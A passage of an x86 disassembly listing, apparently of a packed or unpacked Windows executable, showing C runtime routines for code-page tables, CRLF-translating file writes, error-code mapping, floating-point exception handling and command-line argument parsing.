byte_436008[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_4CEF01[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_4CEDFC, 1 push eax mov dword_4CEDE4, eax call sub_41EB10 lea esi, dword_436014[esi] mov edi, offset dword_4CEDF0 movsd movsd pop ecx mov dword_4CF004, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_4CEF01[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_4CF004, eax mov dword_4CEDFC, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_4CEDFC, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_4CEDF0 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_4CDA64, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4CDA64, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_4CDA64, 1 nop jmp near ptr 26302CBh ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_4CDA64, 1 nop jmp near ptr 28A1CA8h ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_4CDA58 mov dword_4CDA64, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4CEF00 rep stosd stosb xor eax, eax mov edi, offset dword_4CEDF0 mov dword_4CEDE4, eax mov dword_4CEDFC, eax mov dword_4CF004, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4CEDE4 call near ptr 28A138Dh nop cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_4CF004 push dword_4CEDE4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4CF004 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_4CEDE4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4CF004 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_4CEF01[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_4CEE00[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_4CEF01[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_4CEE00[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_4CEF01[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_4CEE00[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_4CEF01[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_4CEE00[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_4CF034, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_4CF034, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4CEDFC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4CEF01[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4CEDE0 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2660000h nop test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_4CD9B4, 9 mov dword_4CD9B8, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j nop call near ptr 2670ADCh mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2660000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j call near ptr 2670ADCh nop mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_4CD9B4, 1Ch mov dword_4CD9B8, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4CD9B8, ecx mov eax, offset dword_436100 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_436268 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_4CD9B4, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_436104[edx*8] mov dword_4CD9B4, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_4CD9B4, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_4CD9B4, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_4CDA68 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4CDA68, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_4362E0 mov edx, dword_4362E4 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:436270h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_4362EC cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_4362EC, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_4362EC, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_4362EC, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_4362EC, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_4362EC, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_4362EC, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_4362EC, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_4362EC push 8 call ebx pop ecx mov dword_4362EC, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_4CDA68, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 2630000h loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_436268, edx push esi mov eax, offset dword_436268 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_4CF034, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_4CF02C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_4CDA00 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_4CD9DC, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_4CDA00 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_4CDA00 call sub_417C3B pop ecx mov dword_4CDA00, ebx mov [esi], ebx pop edi pop esi mov dword_4CF030, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4CF034, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2680000h mov eax, dword_4CF02C mov off_4CD9EC, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4CD9D4, esi pop edi pop esi mov dword_4CD9D0, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_4CEF01[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_4CEF01[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- 